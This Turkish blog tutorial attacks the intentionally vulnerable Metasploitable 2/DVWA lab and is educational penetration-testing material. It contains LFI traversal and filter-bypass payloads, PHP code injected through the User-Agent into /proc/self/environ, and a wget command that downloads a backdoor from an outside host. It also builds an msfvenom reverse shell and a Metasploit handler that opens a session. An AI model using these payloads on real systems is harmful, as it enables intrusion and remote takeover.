Blog

Metasploitable İle Sızma Testleri 2

 

Metasploitable ile sızma testleri yazılarımızın ikinci aksam'ına hoş geldiniz. Yazımızın birinci kısmını okumayan arkadaşlarımız buradan devam etmelerini tavsiye ederim. Bu kısım bir önceki yazı ile az da olsa alakalı olacaktır.

http://www.cezerisga.com/makale/Metasploitable%20%C4%B0le%20S%C4%B1zma%20Testleri

*NOT(Bu yazıda metasploitable 2 kullanılmıştır)

Önceki yazımızda 80 portu üzerine saldırı yapacağımız söylemiştik. Bu yazımızda tekrar bir port taraması yapıp(metasploitable versiyonunu yükselttiğimiz için) yeni yeni hizmetler göreceğiz. Bu hizmetlere saldırılar düzenleyeceğiz.

Metasploitable 2 makinam : 192.168.1.131

Kali Makinam : 192.168.1.132

Komut :

#> nmap –p- -sV –A 192.168.1.131

Title: Resim Ekleniyor...

Title: Resim Ekleniyor...

Title: Resim Ekleniyor...

Title: Resim Ekleniyor...

Title: Resim Ekleniyor...

Çıktıda hedef makinamız üzerinde çalışan bir çok hizmetin var olduğunu görüyoruz. 80 portu üzerine gidelim. Tarayıcıya hedef makinamınızın ip adresini yazalım.

Karşımıza 5 hizmet çıktı. Burada Bizim ilgileneceğimiz ve sunucuya sızmak için kullanacağımız 2-3 hizmet olacak DVWA Mutillidae ve phpmyadmin.

DVWA ile başlayalım.

Bu script kasıtlı olarak web güvenlik açıklarıyla donatılmıştır. Gir hackle test yap der gibi.. DVWAüzerinden başlayalım. İlk olarak DVWA da LFI zafiyetinden başlayalım.

DVWA arayüzü;

Sol menü de zafiyetlerin isimleri bulunmakta. Sol alt kısımda giriş yapılan kullanıcı adı ve güvenlik açıklarının seviyesi bulunmakta.  Giriş bilgileri login panelinde yazmaktadır admin-password dur.

LFI zafiyeti Local File İnclude açıklaması olan yerel dosya çagırmak anlamına gelir. Yani zafiyet barındıran sunucudan dosya çagırmak.

Menüden LFI a tıkladığımızda bize ?page=index.php yazısı çıkıyor. Burda ki index.php dosyası dizinde var olan bir dosya ve page parametresiyle sayfaya çağırılıyor.

Biz bunu sömürüp hedef makinada kod çalıştıracağız, backdoor oluşturacağız. 

Page parametresinde LFI var. Bunu nerden anladın dersiniz DVWA içinde web açıkları barındıran bir script. Olmadığını nasıl anlarız derseniz ?page=dosya.adi vb sunucu üzerinden dosya çağırarak gelip gelmediğini görebilirsiniz.

Metasploitable *nix kernel üzerine yazıldığı için basit olarak /etc/hosts, /etc/passwd, /prof/self/environgibi dosyaları çagırabiliriz.

Deneyelim.

Dosya geldi.  Birde sunucuda ki hizmetlere ve kullanıcı adlarını barındıran passwd dosyasını çağıralım.

Güzel buda geldi.

Sunucuda var olan kullanıcıların şifreleri /etc/shadow dosyaasında vardır ve bu default olarak sistemi root dışında kullanıcıların erişemeyeceği bir dosyadır. Burada kullanıcıların şifreleri şifreli bir şekide barınır.

Biz LFI ile dosya çağırıyoruz eyvallah, fakat bazı durumlarda güvenlik duvarları ve ids ips ler bize engel çıkarabiliyorlar. En azından ../ gibi dizin atlama ve yükseltme işaretçilerinin filtrelenmesi gibi sonuçlar doğabiliyor. Burada sizlerle 1-2 pasivize örnek paylaşacağım. Bunlardan biri çağırılan dosyanın URL encode uygulayabiliriz o zamanda şöyle bir hal alabilir "..%27" => "../".

..%27..%27..%27..%27..%27..%27..%27..%27..%27..%27etc%27passwd

Bazı zaman buda işe yaramayabilir ve sonuna %00 kaçış ve NULL karakterleri (%20,%A0,%00,\0)ekleyebiliriz gibi.

\0 => Yazılan komutlar RAM bellek üzerinde işlendiği için biz passwd dosyasını çağırdığımızda bunu filtreleyebilmekte. RAM bellekde \0 kodun, söz diziminin bittiğine ve o bellekteki rafa artık veri girilmeyeceğine işaret eder ve bu anlamı taşır.

Bir başka pasivize yöntemde "php://filter/convert.base64-encode/resource=dosya.adi" komutudur. Bu komutla php yorumlayıcı, üzerinde girilen bize dosya içeriğini base64 yönetmiyle encode edilmiş biçimde getirir.

Buna örnek olarak;

php://filter/convert.base64-encode/resource=../../../../../../../etc/passwd

Bize dosya içeriğini base64 şeklinde verdi. Bunu encode ederek içeriği okuyabiliriz. Internetten bunlara benzer kaçış ifadelerini bulabilirsiniz. Şimdi işimze dönelim. Ben makinada dosya çekebiliyorum. Komut çalıştırmam lazım ki sunucuda yetki sahibi olayım. İhtiyacımız olan bir proxy tool var Burp Sutie. Burp’ü buradan ücretisz edinebilirsiniz;

https://portswigger.net/burp/freedownload

Bu araç ile tarayıcım üzerinden gidip gelen trafiği kontrol edebiliyorum. Aslında burp sadece bu işe yaramıyor, brute force saldırıları encode decode gibi, real time attackları için repeater gibi sekmeler mevcut. Java ile yazılmı bir araç olduğu için hostunuzda javanın yüklü olması lazım.
Proxy de dinleme yapabilmem için kullandığım tarayıcının proxy ayarlarından burp ün default dinleme portu olan 8080 üzerine yönlendirme yapmam lazım. Firefox kullanıyorum bu yüzden ayarlarım bu şekilde .

127.0.0.1 bilgisayarımın yerel ipsi (localhost da yazabilirsiniz.). Burpu açıyorum LFI olan sayfamdan dosya çağırma işlemini tekrarlıyorum.

Tarayıcı üzerinden bu geçen trafiği yakalamam için Intercept is on butonuna basmam yeterli. Ve ben bağlantıyı açmak istediğimde bana geçen bağlantıyla ilgili bilgi veriyor. Bu bağlantıyıp drop diyerek sonlandırabilir Forward diyerek izin verebilirim. Ama bu bağlantı işime yarayacak bu yüzden aynı bağlantıya her seferde tekrar erişmek gibi bir zahmete katlanmamak için sağ tıklayıp Send to Repeaterdiyorum ve üst sekmelerde Repeater kısmına ekleniyor. Sepeater sekmesine geçip Go butonuna basıyorum, sol tarafım giden sorgum sağ tarafım da sorgudan dönen yanıt;

Burada aynı zamanda giden tüm isteği düzenleyebiliyorum. Benim kod çalıştırmam için benim kodumu algılayıp ekrana yansıtabilecek bir sunucu dosyasına ihtiyacım var buda "environ" dosyası./proc/self/environ dizininde barınıyor. Hemen çağıralım ve gelen yanıta bakalım. Tabi ilk önce tekrar giriş yapmamız gerekiyor, çünkü cookie bilgisi uçmuş. :)

Evet dönen sorguda görüyorum ki benden alıp bana tekrar döndürdüğü bilgiler var. Örneğin tarayıcı bilgisiUser-agentAccept gibi. Benden alıp ekrana tarayıcı bilgisini vuruyorsa benden tarayıcı bilgisi yerine php kodu alsın o zaman :) banada karşılığımı versin.

Örneğin <?php system('ls'); ?>

Sunucuda dizin dosyalarını listele komutu gönderdim ve bana dizindeki barındırdığı dosyaları verdi. Ben buraya backdoor sokarsam ters bağlantı alırım :) Hemen deneyelim.. Geçen dersimizde de weevelyaracını kullandık bu derste de msfpayload’ı da kullanalım,. Weevely ile de bir tane oluştralım.

İlk olarak yapacağımız şeylerden birisi oluşturacağımız backdoor’u .txt olarak veya .php olarak bir host üzerine upload edip linux da wget komutu ile dosyayı çağıracağız -O parametresiyle hedef dizinde ki ismiyle kayıt edilmesini sağlayacağız.

<? System('wget <uploadserver>/backdoor.txt  -o backdoor.php'); ?>

System fonksiyonuna alternatif shell_Exec veya exec olabilir. Hemen bir backdoor oluşturalım.

Title: Resim Ekleniyor...

Php backdoor oluşturma komutumuz yukarıdadır. Msfvenom ile oluşturduğumuz bu backdoor da girdiğimiz parametrelerimiz şunlardır.

-p payload ismimiz

LHOST=<lokal ip>

LPORT=<gelen ters bağlantıyı dinleyeceğimiz port>

-e oluşturulan backdoor base64 ile encode ediyoruz.

-o backdoor un nereye oluşturulacağı.

Bu backdooru bir web sitesine veya yerel http servislerimize yüklüyoruz.

Kodumuz;

<?php system('wget http://clampsec.com/babaakuyucalmislar/backdoors.txt - O backdoors.php');?>

Title: Resim Ekleniyor...

Bulunduğumuz dizin itibariyle fi/ dizinine gelecek dosya.

Dosyamız yüklendi. Şimdi ters bağlantı alalım. Metasploit’i açıyoruz.

#> msfconsole

#msf> use multi/handler

#msf>exploit(handler)> set payload php/meterpreter/reverse_tcp

Payload => php/meterpreter/reverse_tcp

#msf>exploit(handler)> set LHOST 192.168.1.132

LHOST => 192.168.1.132

#msf>exploit(handler)> set LPORT 4444

LPORT => 4444

#msf>exploit(handler)> exploit -j

Komutları sırayla yazıp 4444 portunu dinliyoruz ve bu sırada oluşturduğumuz backdooru çalıştırıyoruz.

Burada ki exploit –j parametresi işlemin arka planda devam etmesini sağlıyor. Backdoor u çalıştırdıktan sonra sessions komutu ile var olan oturumları görüyoruz. Id si 11 olan bir oturum var. Hemen bu oturuma erişmek için sessions –i 11 komutunu girelim.

Title: Resim Ekleniyor...

Help komutunu girerek meterpreter oturumunda kullanılabilecek komutları görebilirsiniz. Sunucuda bash scriptte komut çalıştırmak için "shell" komutunu giriyorum. Ve bash e erişiyorum artık linux makine da kücük bir yetki sahibi olduk.

Weevely ile aynı mantıkta geçen yazımızda yaptığımız gibi oluşturduğumuz backdoor u bir web sitesine yükleyip oradan php code execution ile sunucuya wget ile kaydedip çalıştırdıktan sonra ters bağlantıyı tekrar alabiliriz. Şimdi buraya kadar her şey basit idi ve biz şuan sunucuda "msfadmin" user ının yetkisi içinde hareket edebiliyoruz. Biz karşı makinayı komple ele geçirmek ve orada root yetkisi sahibi olmak istiyoruz.

Bunun için türlü hak yükseltmek çeşitleri var. Hedef makinanın linux kernel çekirdek sürümünde var olan bir zafiyet sayesinde root exploitler ile de hak yükseltebiliriz, metasploit ile bazı araçlar kullanılarak da yükseltebiliriz.  Bu konuya ilerleyen yazılarımızda yeri gelince değiniriz daha ayrıntılı bir biçimde.  Bir sonraki makalemizde Command Execution ve XSS zafiyetini görücez. XSS ile BEef kullanarak tarayıcı ele geçirmeyi göreceğiz. Sonra ki adımlarda devam edip sunucu üzerinden diğer hizmet ve portlara saldırılar yapacağız.




Yazar Hakkında

Lise son sınıf öğrencisidir, 2010 yılından beri siber güvenlik ile ilgilenmektedir. CSS, PHP, C/C++ dilleri ve Web Penetration Testing ile yakından ilgilenmektedir. Bunlara ek olarak Sistem, Network ve Güvenlik Uzmanlığı eğitimleri almış olan Kelepçe, Bug Bounty Ödül Avcılığı kapsamında birçok tanınmış şirketten ödül almıştır, şuanda bilişim faaliyet topluluklarında Bilgi Güvenliği ve Sızma Testleri işlerini gönüllü olarak yapmaktadır.






Yorum Yapmak İçin Giriş Yapın.